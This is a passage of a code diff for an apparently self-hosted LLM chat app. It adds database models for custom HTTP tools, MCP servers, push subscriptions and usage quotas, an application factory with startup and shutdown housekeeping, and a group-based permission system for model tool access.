+    """One HTTP call, described well enough for a model to decide to make it."""
+
+    __tablename__ = "custom_tools"
+
+    # `slug` IS the function name sent to the endpoint, so it is bound by the
+    # charset those accept and is fixed once the row exists: it is also half of
+    # this tool's prompt-fragment key. `name` is the human label, shown in the
+    # admin list and in the transcript.
+    slug: Mapped[str] = mapped_column(String(64), unique=True, nullable=False)
+    name: Mapped[str] = mapped_column(String(120), nullable=False)
+
+    # Sent verbatim in the tools array. The only thing the model has to decide
+    # with, which is why the form insists on it.
+    description: Mapped[str] = mapped_column(Text, default="")
+    parameters_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
+
+    # The *default* text of this tool's harness fragment. An administrator's
+    # edit on /admin/prompts is an override stored in the settings group like
+    # any other, so a tool deleted and recreated under the same slug keeps the
+    # wording somebody chose for it.
+    guidance: Mapped[str] = mapped_column(Text, default="")
+
+    method: Mapped[str] = mapped_column(String(8), default="GET", nullable=False)
+    # {{name}} placeholders, filled from the call's arguments. The scheme and
+    # the host must be literal -- see services/custom_tools.py for why.
+    url_template: Mapped[str] = mapped_column(String(1000), nullable=False)
+    body_template: Mapped[str] = mapped_column(Text, default="")
+    headers_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
+
+    secret_encrypted: Mapped[str] = mapped_column(Text, default="")
+    secret_placement: Mapped[str] = mapped_column(
+        String(16), default=SECRET_BEARER, nullable=False
+    )
+    secret_name: Mapped[str] = mapped_column(String(120), default="Authorization")
+
+    response_mode: Mapped[str] = mapped_column(String(16), default=RESPONSE_TEXT, nullable=False)
+    # A dotted path into a JSON response: "data.items.0.title". Empty is the
+    # whole document. Not JSONPath -- that is a dependency and a syntax nobody
+    # would remember for the one field they want.
+    response_path: Mapped[str] = mapped_column(String(300), default="")
+    max_chars: Mapped[int] = mapped_column(Integer, default=8000, nullable=False)
+    timeout: Mapped[int] = mapped_column(Integer, default=20, nullable=False)
+
+    # Whether this row may reach loopback, private or link-local addresses. Per
+    # row rather than the instance-wide search setting: an administrator naming
+    # http://127.0.0.1:11434 by hand is not the same act as a model handing the
+    # fetcher a URL it read on a page.
+    allow_private: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
+
+    enabled: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
+    public: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
+    position: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
+
+    last_checked_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True))
+    last_error: Mapped[str] = mapped_column(Text, default="")
+
+    groups: Mapped[list[Group]] = relationship(
+        "Group", secondary=custom_tool_groups, back_populates="custom_tools"
+    )
+
+    def __repr__(self) -> str:
+        return f"<CustomTool {self.slug}>"
+
+
+class McpServer(UUIDPrimaryKey, Timestamps, Base):
+    """A remote MCP server, reached over streamable HTTP.
+
+    The tools it advertises are cached in `tools_json` rather than given a table
+    of their own. A discovered tool carries exactly one administrator decision
+    -- offered or not, which `tool_overrides_json` holds -- while credentials,
+    guidance and access are all per server; and the whole list is replaced on
+    every refresh, so a table would mean reconciling rows against a cache of
+    somebody else's document.
+    """
+
+    __tablename__ = "mcp_servers"
+
+    # Prefixed onto every tool name this server advertises, so that two servers
+    # both exposing "search" do not collide and neither shadows a built-in.
+    slug: Mapped[str] = mapped_column(String(24), unique=True, nullable=False)
+    name: Mapped[str] = mapped_column(String(120), nullable=False)
+    url: Mapped[str] = mapped_column(String(1000), nullable=False)
+
+    guidance: Mapped[str] = mapped_column(Text, default="")
+
+    secret_encrypted: Mapped[str] = mapped_column(Text, default="")
+    secret_placement: Mapped[str] = mapped_column(
+        String(16), default=SECRET_BEARER, nullable=False
+    )
+    secret_name: Mapped[str] = mapped_column(String(120), default="Authorization")
+    headers_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
+
+    timeout: Mapped[int] = mapped_column(Integer, default=30, nullable=False)
+    max_chars: Mapped[int] = mapped_column(Integer, default=8000, nullable=False)
+    allow_private: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
+
+    # The last tools/list, cached. One entry per tool:
+    # {"name", "offer_name", "description", "schema"}.
+    tools_json: Mapped[list[Any]] = mapped_column(JSONList, default=list)
+    # Per-tool switch, keyed by the server's own name for it. Absent means on,
+    # the same rule the model capability flags follow, so a newly advertised
+    # tool works rather than silently doing nothing.
+    tool_overrides_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
+    # What the server answered at initialize, for the admin list.
+    protocol_version: Mapped[str] = mapped_column(String(32), default="")
+    server_info: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
+
+    enabled: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
+    public: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
+    position: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
+
+    last_checked_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True))
+    last_error: Mapped[str] = mapped_column(Text, default="")
+
+    groups: Mapped[list[Group]] = relationship(
+        "Group", secondary=mcp_server_groups, back_populates="mcp_servers"
+    )
+
+    def __repr__(self) -> str:
+        return f"<McpServer {self.slug}>"

src/lembas/db/models/user.py

@@ -3,14 +3,30 @@
 from __future__ import annotations
 
 from datetime import datetime
-from typing import Any
+from typing import TYPE_CHECKING, Any
 
-from sqlalchemy import Boolean, Column, DateTime, ForeignKey, Index, String, Table, Text
+from sqlalchemy import (
+    Boolean,
+    Column,
+    DateTime,
+    ForeignKey,
+    Index,
+    Integer,
+    String,
+    Table,
+    Text,
+    UniqueConstraint,
+)
 from sqlalchemy.orm import Mapped, mapped_column, relationship
 
 from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
 from lembas.db.types import JSONDict
 
+if TYPE_CHECKING:
+    # Annotation only; SQLAlchemy resolves the real class from its registry.
+    from lembas.db.models.connection import Model
+    from lembas.db.models.tool import CustomTool, McpServer
+
 # Roles are a simple ordered ladder rather than a permission matrix. Groups
 # (below) carry finer-grained permissions once the users/groups UI lands.
 ROLE_ADMIN = "admin"
@@ -58,9 +74,32 @@ class Group(UUIDPrimaryKey, Timestamps, Base):
 
     name: Mapped[str] = mapped_column(String(120), unique=True, nullable=False)
     description: Mapped[str] = mapped_column(Text, default="")
+
+    # Only the granted keys need be present. Absent means "no opinion", not
+    # "deny" -- permissions union across a user's groups. See
+    # lembas.security.permissions.
     permissions_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
 
+    # What members of this group may spend. Resolved across a user's groups by
+    # **maximum**, which is the union rule applied to numbers: being in a second
+    # group can only ever grant more. Zero means "no limit" and therefore wins
+    # outright, because a group that says "unlimited" saying less than one that
+    # says "a million" would be the union rule inverted for one value.
+    #
+    # Absent keys mean the group has no opinion and contribute nothing. See
+    # security/permissions.py:limits_for.
+    limits_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
+
     users: Mapped[list[User]] = relationship(secondary=user_groups, back_populates="groups")
+    models: Mapped[list[Model]] = relationship(
+        "Model", secondary="model_groups", back_populates="groups"
+    )
+    custom_tools: Mapped[list[CustomTool]] = relationship(
+        "CustomTool", secondary="custom_tool_groups", back_populates="groups"
+    )
+    mcp_servers: Mapped[list[McpServer]] = relationship(
+        "McpServer", secondary="mcp_server_groups", back_populates="groups"
+    )
 
 
 class Session(UUIDPrimaryKey, Timestamps, Base):
@@ -87,3 +126,87 @@ class Session(UUIDPrimaryKey, Timestamps, Base):
 
 
 Index("ix_sessions_user_id", Session.user_id)
+
+
+class PushSubscription(UUIDPrimaryKey, Timestamps, Base):
+    """One browser, on one device, that has agreed to be told.
+
+    Per device rather than per account, and that is not a detail: the permission
+    and the subscription both belong to a browser, so somebody signed in on a
+    laptop and a phone has two of these and revoking one must not silence the
+    other. It is also why there is no "notifications on" column on `User` -- the
+    presence of a row here *is* the state, and it cannot drift from what the
+    browser thinks.
+
+    `endpoint` is chosen by the browser vendor and is the address their push
+    service will accept a message at. Unique, because a browser that
+    re-subscribes hands back the same one and two rows would mean two
+    notifications for one arrival.
+
+    `p256dh` and `auth_secret` are the browser's half of the encryption. Stored
+    as the browser gave them, base64url: they are public key material and a
+    per-subscription salt, not credentials -- what they protect is the payload,
+    and a database holding them can already read everything the payload could
+    say. See services/push.py.
+    """
+
+    __tablename__ = "push_subscriptions"
+
+    user_id: Mapped[str] = mapped_column(
+        String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False
+    )
+    endpoint: Mapped[str] = mapped_column(Text, unique=True, nullable=False)
+    p256dh: Mapped[str] = mapped_column(String(255), nullable=False)
+    auth_secret: Mapped[str] = mapped_column(String(64), nullable=False)
+    # Which device this is, for a list somebody can revoke from. Whatever the
+    # browser says about itself, trimmed; never parsed.
+    label: Mapped[str] = mapped_column(String(200), default="")
+    # The last refusal from the push service, kept so a subscription that has
+    # stopped working says why rather than being silently useless. A 404 or 410
+    # deletes the row instead -- that is the end of its life, not a fault.
+    last_error: Mapped[str] = mapped_column(Text, default="")
+
+    user: Mapped[User] = relationship()
+
+
+Index("ix_push_subscriptions_user_id", PushSubscription.user_id)
+
+
+class Usage(UUIDPrimaryKey, Timestamps, Base):
+    """What one account spent in one period.
+
+    A row per user per period rather than a row per reply. A per-reply ledger is
+    what somebody eventually wants for a bill; this exists to answer one
+    question on the request path -- "has this account used its month?" -- and
+    that question wants one indexed lookup, not a sum over ten thousand rows.
+
+    `period` is a plain "YYYY-MM" string in **UTC**. Not the reader's timezone:
+    a quota that resets at a different instant for each member of a group is a
+    quota nobody can reason about, and the month boundary is not something
+    anybody experiences to the hour.
+
+    Written by `generation._persist`, which is the single writer for everything
+    a reply produced, so a reply that is stopped or errors still records what it
+    spent -- an endpoint charges for tokens it generated whether or not the
+    reply was wanted.
+    """
+
+    __tablename__ = "usage"
+    __table_args__ = (UniqueConstraint("user_id", "period", name="uq_usage_user_period"),)
+
+    user_id: Mapped[str] = mapped_column(
+        String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
+    )
+    period: Mapped[str] = mapped_column(String(7), nullable=False)
+
+    prompt_tokens: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
+    completion_tokens: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
+    replies: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
+    # Counted separately because it is its own quota: one picture is a minute of
+    # somebody's GPU and no tokens at all, so a token budget says nothing about
+    # it. `images_today` on the resolved limits is the daily half; this is the
+    # month's running total, for the admin screen.
+    images: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
+
+    def __repr__(self) -> str:
+        return f"<Usage {self.user_id} {self.period}>"

src/lembas/db/session.py

@@ -10,7 +10,6 @@ from sqlalchemy import Engine, create_engine, event
 from sqlalchemy.orm import Session, sessionmaker
 
 from lembas.config import settings
-from lembas.db.base import Base
 
 log = logging.getLogger(__name__)
 
@@ -63,15 +62,17 @@ def get_session_factory() -> sessionmaker[Session]:
 
 
 def init_db() -> None:
-    """Create any missing tables.
+    """Bring the database up to the declared schema.
 
-    This is ``CREATE TABLE IF NOT EXISTS`` only -- it never alters an existing
+    Creates missing tables and adds missing columns -- see db/migrations.py for
-    table. There is no migration tool in this project by design, so changing a
+    what that does and does not cover. Additive changes need nothing else;
-    column on a model requires migrating the database by hand.
+    renames, drops and retypes are still a hand job.
     """
-    import lembas.db.models  # noqa: F401  (registers tables on the metadata)
+    from lembas.db.migrations import sync_schema
 
-    Base.metadata.create_all(bind=get_engine())
+    changes = sync_schema(get_engine())
+    if changes:
+        log.info("database schema updated: %s", ", ".join(changes))
     log.debug("schema ensured at %s", settings.db_path)
 
 

src/lembas/main.py

@@ -0,0 +1,280 @@
+"""Application factory, lifespan and error handling."""
+
+from __future__ import annotations
+
+import logging
+from collections.abc import AsyncIterator
+from contextlib import asynccontextmanager
+
+from fastapi import FastAPI, Request, status
+from fastapi.responses import JSONResponse, Response
+from fastapi.staticfiles import StaticFiles
+from starlette.exceptions import HTTPException as StarletteHTTPException
+
+from lembas import __version__
+from lembas.api import (
+    admin,
+    admin_agents,
+    admin_audio,
+    admin_branding,
+    admin_extraction,
+    admin_images,
+    admin_models,
+    admin_prompts,
+    admin_schedules,
+    admin_search,
+    admin_suggestions,
+    admin_tools,
+    admin_updates,
+    admin_users,
+    agents,
+    audio,
+    auth,
+    branding,
+    canvas,
+    chats,
+    files,
+    folders,
+    library,
+    messages,
+    pages,
+    preferences,
+    push,
+    reports,
+    schedules,
+    sharing,
+    terminal,
+)
+from lembas.api.deps import RedirectToLogin, is_htmx, login_redirect
+from lembas.config import settings
+from lembas.db.session import init_db
+from lembas.services.library import indexing
+from lembas.web.templating import STATIC_DIR, render
+
+log = logging.getLogger("lembas")
+
+
+def configure_logging() -> None:
+    logging.basicConfig(
+        level=settings.log_level.upper(),
+        format="%(asctime)s  %(levelname)-7s %(name)s: %(message)s",
+        datefmt="%H:%M:%S",
+    )
+
+
+@asynccontextmanager
+async def lifespan(app: FastAPI) -> AsyncIterator[None]:
+    configure_logging()
+    settings.ensure_dirs()
+    init_db()
+
+    if settings.secret_key_is_ephemeral:
+        log.warning(
+            "No LEMBAS_SECRET_KEY set, so a temporary one was generated. Every "
+            "restart will sign all users out and make stored API keys "
+            "unreadable. Generate a permanent key with:\n"
+            '    python -c "import secrets; print(secrets.token_urlsafe(48))"'
+        )
+
+    # Files chosen in a composer that was never sent would otherwise sit on
+    # disk forever. Cheap, and startup is the natural moment for it.
+    try:
+        from lembas.db.session import session_scope
+        from lembas.services.chat import sweep_temporary
+        from lembas.services.files import sweep_orphans
+        from lembas.services.library.documents import sweep_unfiled
+        from lembas.services.library.indexing import sweep_orphans as sweep_chunks
+        from lembas.services.suggestions import seed_defaults as seed_suggestions
+
+        with session_scope() as db:
+            sweep_orphans(db)
+            # Documents that predate knowledge bases have nowhere to live until
+            # this runs; see services/library/documents.py.
+            sweep_unfiled(db)
+            # Temporary chats older than a day. Startup only, like the sweeps
+            # above it -- see services/chat.py:sweep_temporary.
+            sweep_temporary(db)
+            # Chunks whose record has gone. A backstop for a delete that
+            # happened with no event loop to schedule the tidy-up -- a CLI
+            # command, or a cascade from removing an account.
+            sweep_chunks(db)
+            # Three starting points on the empty screen, written once ever.
+            seed_suggestions(db)
+    except Exception:  # noqa: BLE001 - housekeeping must never block startup
+        log.exception("orphaned upload sweep failed")
+
+    # Background jobs that were still running when we last stopped keep running
+    # on their own hosts; pick their watchers back up so the model is still
+    # woken when they finish. Best-effort, and inside the loop so its tasks land
+    # in this event loop.
+    try:
+        from lembas.services.agent.jobs import rehydrate as rehydrate_jobs
+
+        rehydrate_jobs()
+    except Exception:  # noqa: BLE001 - a job that cannot be rehydrated is not fatal
+        log.exception("could not rehydrate background jobs")
+
+    # Schedules. `release_claims` first, because a firing interrupted by the
+    # last shutdown left a claim stamp that would otherwise read as permanently
+    # running. Then the ticker, started here rather than lazily like the
+    # terminal reaper: a schedule can be due at startup with nobody logged in,
+    # which is most of the point of having one. Inside the loop, so its tasks
+    # land in this event loop.
+    #
+    # Catching up on what was missed is deliberately NOT done here. It lives in
+    # the sweep, because a suspended laptop, a paused container and a long stall
+    # all reproduce "its time passed while nothing was running" with no restart
+    # for a startup hook to hang on.
+    try:
+        from lembas.services.schedule.ticker import release_claims
+        from lembas.services.schedule.ticker import start as start_ticker
+
+        released = release_claims()
+        if released:
+            log.info("released %s interrupted schedule claim(s)", released)
+        start_ticker()
+    except Exception:  # noqa: BLE001 - scheduling failing must not block startup
+        log.exception("could not start the schedule ticker")
+
+    log.info("LLeMbas %s starting on http://%s:%s", __version__, settings.host, settings.port)
+    log.info("data directory: %s", settings.data_dir.resolve())
+    yield
+
+    # Replies still being written are cancelled and persisted with whatever
+    # they have, rather than left as permanently unfinished rows.
+    from lembas.services.agent.jobs import shutdown as stop_jobs
+    from lembas.services.agent.terminal import shutdown as stop_terminals
+    from lembas.services.generation import shutdown as stop_generations
+    from lembas.services.schedule.ticker import shutdown as stop_ticker
+
+    # Before the generations, so nothing new is fired into a chat whose reply is
+    # about to be cancelled and persisted.
+    await stop_ticker()
+    await stop_generations()
+    # Open shells have nothing to persist: whatever was running on the far side
+    # is cut off mid-command. Every deploy does this, and the panel is told why
+    # rather than left to guess -- see deploy/README.md.
+    await stop_terminals()
+    # Background jobs are the exception: cancelling a watcher does NOT stop the
+    # detached remote job, which keeps running and is rehydrated on the next
+    # start. Only the watching stops here.
+    await stop_jobs()
+    # A chunk set is written whole or not at all, so cancelling loses nothing
+    # a rebuild does not pick up again.
+    await indexing.shutdown()
+    log.info("LLeMbas stopped")
+
+
+def create_app() -> FastAPI:
+    app = FastAPI(
+        title="LLeMbas",
+        version=__version__,
+        lifespan=lifespan,
+        # The API is an implementation detail of the UI, not a product surface.
+        docs_url="/api/docs" if settings.log_level == "debug" else None,
+        redoc_url=None,
+    )
+
+    app.mount("/static", StaticFiles(directory=str(STATIC_DIR)), name="static")
+
+    # One place that notices a library record changing, rather than a call in
+    # each of the ten writers that touch those tables. Idempotent, because the
+    # factory is called per test. See services/library/indexing.py:install.
+    indexing.install()
+
+    app.include_router(pages.router)
+    app.include_router(auth.router)
+    app.include_router(preferences.router)
+    app.include_router(chats.router)
+    app.include_router(canvas.router)
+    app.include_router(terminal.router)
+    app.include_router(audio.router)
+    app.include_router(files.router)
+    app.include_router(folders.router)
+    app.include_router(library.router)
+    app.include_router(messages.router)
+    app.include_router(reports.router)
+    app.include_router(schedules.router)
+    app.include_router(agents.router)
+    app.include_router(sharing.router)
+    app.include_router(admin.router)
+    app.include_router(admin_users.router)
+    app.include_router(admin_updates.router)
+    app.include_router(admin_models.router)
+    app.include_router(admin_audio.router)
+    app.include_router(admin_branding.router)
+    app.include_router(admin_extraction.router)
+    app.include_router(admin_search.router)
+    app.include_router(admin_schedules.router)
+    app.include_router(admin_images.router)
+    app.include_router(admin_prompts.router)
+    app.include_router(admin_suggestions.router)
+    app.include_router(admin_tools.router)
+    app.include_router(admin_agents.router)
+    app.include_router(push.router)
+    app.include_router(branding.router)
+
+    register_error_handlers(app)
+    return app
+
+
+def register_error_handlers(app: FastAPI) -> None:
+    @app.exception_handler(RedirectToLogin)
+    async def _not_signed_in(request: Request, exc: RedirectToLogin) -> Response:
+        # An htmx request must not swap a login page into a fragment of the
+        # chat UI, so tell the browser to navigate instead.
+        if is_htmx(request):
+            response = Response(status_code=status.HTTP_204_NO_CONTENT)
+            response.headers["HX-Redirect"] = "/auth/login"
+            return response
+        return login_redirect(exc.next_url)
+
+    @app.exception_handler(StarletteHTTPException)
+    async def _http_error(request: Request, exc: StarletteHTTPException) -> Response:
+        # JSON callers and htmx fragments want the bare status; humans loading a
+        # page want a themed page they can navigate away from.
+        wants_page = "text/html" in request.headers.get("accept", "") and not is_htmx(request)
+        if not wants_page:
+            return JSONResponse({"detail": exc.detail}, status_code=exc.status_code)
+
+        return render(
+            request,
+            "error.html",
+            {
+                "status_code": exc.status_code,
+                "detail": exc.detail,
+                "flavour": error_flavour(exc.status_code),
+            },
+            status_code=exc.status_code,
+        )
+
+    @app.exception_handler(Exception)
+    async def _unhandled(request: Request, exc: Exception) -> Response:
+        log.exception("unhandled error at %s", request.url.path)
+        if is_htmx(request) or "text/html" not in request.headers.get("accept", ""):
+            return JSONResponse({"detail": "Internal server error"}, status_code=500)
+        return render(
+            request,
+            "error.html",
+            {"status_code": 500, "detail": "Something went wrong.",
+             "flavour": error_flavour(500)},
+            status_code=500,
+        )
+
+
+# Flavour lives in error pages, empty states and theme names -- never in the
+# functional UI. See CLAUDE.md.
+#
+# The three lines themselves moved into `services/branding.py` with the rest of
+# what an administrator can replace. What is left here is the mapping from a
+# status code to which of them, which is not something anybody would want to
+# edit. `snapshot()` never raises, so an error page can still render its error
+# on an instance whose database is the thing that broke.
+def error_flavour(status_code: int) -> str:
+    from lembas.services import branding
+
+    text = branding.snapshot().text
+    return text.get(f"error_{status_code}") or text["error_500"]
+
+
+app = create_app()

src/lembas/security/passwords.py

@@ -8,7 +8,7 @@ defaults tighten in a future release.
 from __future__ import annotations
 
 from argon2 import PasswordHasher
-from argon2.exceptions import InvalidHashError, VerifyMismatchError, VerificationError
+from argon2.exceptions import InvalidHashError, VerificationError, VerifyMismatchError
 
 _hasher = PasswordHasher()
 

src/lembas/security/permissions.py

@@ -0,0 +1,509 @@
+"""Permission vocabulary and resolution.
+
+The model is deliberately small: a flat set of named booleans, granted by an
+instance-wide baseline and widened by group membership. Permissions are a union
+across groups -- being in a second group can only ever grant more, never take
+away. That is the behaviour people expect, and the alternative (a deny that
+wins) makes "why can this user not do X" unanswerable without simulating every
+group.
+
+Administrators bypass the whole thing. There is no permission that can be
+withheld from an admin, because an admin can grant it back to themselves in two
+clicks; pretending otherwise would be theatre.
+
+Model *access* is separate and lives in models_visible_to(): a permission says
+what a user may do, model access says which models they may do it with.
+"""
+
+from __future__ import annotations
+
+from dataclasses import dataclass
+
+from sqlalchemy import select
+from sqlalchemy.orm import Session as DBSession
+
+from lembas.db.models import Connection, Model, User
+
+
+@dataclass(frozen=True)
+class PermissionDef:
+    key: str
+    label: str
+    description: str
+    default: bool
+    group: str
+
+
+# The order here is the order they render in the admin UI.
+PERMISSION_DEFS: tuple[PermissionDef, ...] = (
+    PermissionDef(
+        "chat.create", "Start chats", "Create new conversations.", True, "Chat"
+    ),
+    PermissionDef(
+        "chat.delete", "Delete chats", "Delete their own conversations.", True, "Chat"
+    ),
+    PermissionDef(
+        "chat.system_prompt",
+        "Set system prompts",
+        "Give an individual chat its own system prompt.",
+        True,
+        "Chat",
+    ),
+    PermissionDef(
+        "chat.params",
+        "Adjust sampling",
+        "Change temperature, top-p and similar per chat.",
+        False,
+        "Chat",
+    ),
+    PermissionDef(
+        "chat.model_select",
+        "Choose the model",
+        "Switch a chat to a different model. Without this, chats use the default.",
+        True,
+        "Chat",
+    ),
+    PermissionDef(
+        "folder.manage",
+        "Manage folders",
+        "Create, rename, nest and delete folders.",
+        True,
+        "Workspace",
+    ),
+    PermissionDef(
+        "files.upload",
+        "Attach files",
+        "Attach images, PDFs and text files to a message. Images only reach "
+        "models marked as having vision.",
+        True,
+        "Workspace",
+    ),
+    PermissionDef(
+        "tools.web_search",
+        "Search the web",
+        "Let a model look things up while it answers. Only offered to models "
+        "marked as supporting tools, and only when web search is configured.",
+        True,
+        "Chat",
+    ),
+    PermissionDef(
+        "tools.fetch",
+        "Fetch a page",
+        "Let a model retrieve one web page and read it, given its address. "
+        "Addresses on this machine and this network are refused unless an "
+        "administrator has allowed them.",
+        True,
+        "Chat",
+    ),
+    PermissionDef(
+        "tools.image",
+        "Generate images",
+        "Let a model draw a picture and show it in the conversation. Only "
+        "offered when an image generator has been configured, and every "
+        "generation spends time on whatever machine is running it.",
+        True,
+        "Chat",
+    ),
+    PermissionDef(
+        "tools.custom",
+        "Use custom tools",
+        "Let a model call the HTTP tools an administrator has defined. Which "
+        "ones depends on the groups each tool is restricted to.",
+        True,
+        "Chat",
+    ),
+    PermissionDef(
+        "tools.mcp",
+        "Use MCP servers",
+        "Let a model call tools from the MCP servers an administrator has "
+        "added. Which ones depends on the groups each server is restricted to.",
+        True,
+        "Chat",
+    ),
+    PermissionDef(
+        "agent.ssh",
+        "Save SSH connections",
+        "Keep connection profiles for machines of their own. The credential is "
+        "encrypted here, and whoever saves it decides which host it opens.",
+        False,
+        "Agent",
+    ),
+    PermissionDef(
+        "tools.agent",
+        "Run commands",
+        "Let a model read files, write files and run commands on one of their "
+        "SSH connections. What it may do without asking depends on the chat's "
+        "mode. Nothing runs on this server.",
+        False,
+        "Agent",
+    ),
+    PermissionDef(
+        "agent.terminal",
+        "Open a terminal",
+        "Open an interactive shell on one of their own SSH connections, from "
+        "inside the chat. What they type there is theirs: the chat's mode "
+        "governs the model, not the person at the keyboard.",
+        False,
+        "Agent",
+    ),
+    PermissionDef(
+        "tools.subagent",
+        "Delegate to a helper",
+        "Let a model hand a self-contained piece of work to a second one that "
+        "runs on its own and reports back — reading and searching in parallel "
+        "rather than one thing at a time. A helper cannot ask questions, "
+        "cannot spawn helpers of its own, and can only do what this chat could "
+        "already do without stopping to ask.",
+        False,
+        "Chat",
+    ),
+    PermissionDef(
+        "tools.ask",
+        "Be asked questions",
+        "Let a model stop mid-reply and ask you something, with answers to pick "
+        "from or a box to write your own.",
+        True,
+        "Chat",
+    ),
+    PermissionDef(
+        "tools.scratch",
+        "Write in the canvas",
+        "Let a model build something up in this chat's scratch document, which "
+        "sits open beside the conversation and can be edited and attached to a "
+        "message. It belongs to the chat and is not searchable afterwards.",
+        True,
+        "Chat",
+    ),
+    PermissionDef(
+        "schedule.use",
+        "Schedule work",
+        "Set things to run later, on their own — once, or on a repeating "
+        "timetable. This spends model time with nobody at the keyboard, so it "
+        "is a capability chosen on purpose rather than one everybody has.",
+        False,
+        "Scheduling",
+    ),
+    PermissionDef(
+        "reports.use",
+        "Keep reports",
+        "Read the Reports section: finished pieces of work filed for them to "
+        "read later, by a model that was asked for one or by something that ran "
+        "while they were away.",
+        True,
+        "Reports",
+    ),
+    PermissionDef(
+        "tools.report",
+        "File reports",
+        "Let a model write a report when it finishes a piece of work, and read "
+        "back ones it filed earlier. A report is addressed to the reader and "
+        "cannot be replied to, so this costs nothing but a place to put things.",
+        True,
+        "Reports",
+    ),
+    PermissionDef(
+        "audio.transcribe",
+        "Dictate messages",
+        "Speak a message instead of typing it. Needs a transcription endpoint.",
+        True,
+        "Audio",
+    ),
+    PermissionDef(
+        "audio.listen",
+        "Play replies aloud",
+        "Have a reply read out. Needs a speech endpoint.",
+        True,
+        "Audio",
+    ),
+    PermissionDef(
+        "library.use",
+        "Use the library",
+        "Keep knowledge documents, notes, memories and skills of their own.",
+        True,
+        "Library",
+    ),
+    PermissionDef(
+        "library.share",
+        "Share library items",
+        "Give other people, or a group, access to their knowledge bases, notes, "
+        "skills and reports. Sharing grants reading only — never changing, and "
+        "never sharing on.",
+        # On. It was off, which meant sharing shipped documented as done and
+        # unreachable: the panel is only rendered for somebody who holds this,
+        # so out of the box nobody could share anything and nothing said why.
+        # An instance that wants it off can say so; one that never looked should
+        # get the feature it was told it had.
+        True,
+        "Library",
+    ),
+    PermissionDef(
+        "tools.knowledge",
+        "Search their knowledge",
+        "Let a model search the documents this user has collected.",
+        True,
+        "Library",
+    ),
+    PermissionDef(
+        "tools.notes",
+        "Read and write notes",
+        "Let a model keep its own notes for this user, and read them back later.",
+        True,
+        "Library",
+    ),
+    PermissionDef(
+        "tools.memory",
+        "Remember things",
+        "Let a model record short facts about this user, shown to it on every "
+        "turn.",
+        True,
+        "Library",
+    ),
+    PermissionDef(
+        "tools.skills",
+        "Use and write skills",
+        "Let a model follow saved instructions, and write new ones. Every "
+        "change is recorded and can be rolled back.",
+        True,
+        "Library",
+    ),
+    # --- Reading and writing, split where the difference matters ------------
+    # Three gates cover both, and for these three the two halves are genuinely
+    # different decisions: a model that may *read* somebody's notes and not add
+    # to them is a reasonable thing to want, and until now `tools.notes` was one
+    # switch over five tools.
+    #
+    # Not split for every gate. `tools.web_search` has no write half; `report`
+    # is a write with no read worth withholding; `agent` has modes, which are a
+    # finer instrument than a permission and are per chat. A permission that
+    # answers "the same as that one" is a permission nobody should be asked
+    # about -- the reasoning `schedule.use` already carries.
+    #
+    # **All three default on**, so an instance that never looks behaves exactly
+    # as it did: `_family_allowed` reads them only to *narrow* what the gate
+    # already allowed.
+    PermissionDef(
+        "tools.notes.write",
+        "Write notes",
+        "Let a model create, change and delete notes. Without it, it can still "
+        "search and read the ones that are there.",
+        True,
+        "Library",
+    ),
+    PermissionDef(
+        "tools.memory.write",
+        "Record memories",
+        "Let a model add and forget short facts about this person. Without it, "
+        "the memories it already has are still shown to it every turn.",
+        True,
+        "Library",
+    ),
+    PermissionDef(
+        "tools.skills.write",
+        "Write skills",
+        "Let a model write new skills and change existing ones. Without it, it "
+        "follows the skills that are there and cannot add to them — which is "
+        "the setting for an instance whose skills are curated by hand.",
+        True,
+        "Library",
+    ),
+)
+
+# Gates whose read and write halves are separate permissions. Keyed on the gate,
+# with the permission derived as `tools.<gate>.write`, so adding a fourth is one
+# entry here and one PermissionDef above.
+SPLIT_GATES = ("notes", "memory", "skills")
+
+PERMISSION_KEYS = tuple(d.key for d in PERMISSION_DEFS)
+DEFAULT_PERMISSIONS = {d.key: d.default for d in PERMISSION_DEFS}
+
+
+def permission_groups() -> dict[str, list[PermissionDef]]:
+    """Definitions bucketed by their UI section, preserving declaration order."""
+    grouped: dict[str, list[PermissionDef]] = {}
+    for definition in PERMISSION_DEFS:
+        grouped.setdefault(definition.group, []).append(definition)
+    return grouped
+
+
+def baseline_permissions(db: DBSession) -> dict[str, bool]:
+    """Instance-wide permissions for a user in no group at all."""
+    from lembas.services import settings_store
+
+    stored = settings_store.get(db, "default_permissions") or {}
+    return {key: bool(stored.get(key, DEFAULT_PERMISSIONS[key])) for key in PERMISSION_KEYS}
+
+
+def resolve(db: DBSession, user: User | None) -> dict[str, bool]:
+    """Effective permissions for a user."""
+    if user is None:
+        return dict.fromkeys(PERMISSION_KEYS, False)
+    if user.is_admin:
+        return dict.fromkeys(PERMISSION_KEYS, True)
+
+    effective = baseline_permissions(db)
+    for group in user.groups:
+        granted = group.permissions_json or {}
+        for key in PERMISSION_KEYS:
+            # Union: a group can only widen. Absent means "no opinion", not
+            # "deny", so a group need only list what it adds.
+            if granted.get(key):
+                effective[key] = True
+    return effective
+
+
+def has(db: DBSession, user: User | None, key: str) -> bool:
+    return resolve(db, user).get(key, False)
+
+
+def explain(db: DBSession, user: User | None) -> dict[str, dict]:
+    """Every permission, whether this user has it, and **where it came from**.
+
+    The question the admin screens could not answer. `resolve` has always
+    computed the union and thrown the working away, so "why can this person do
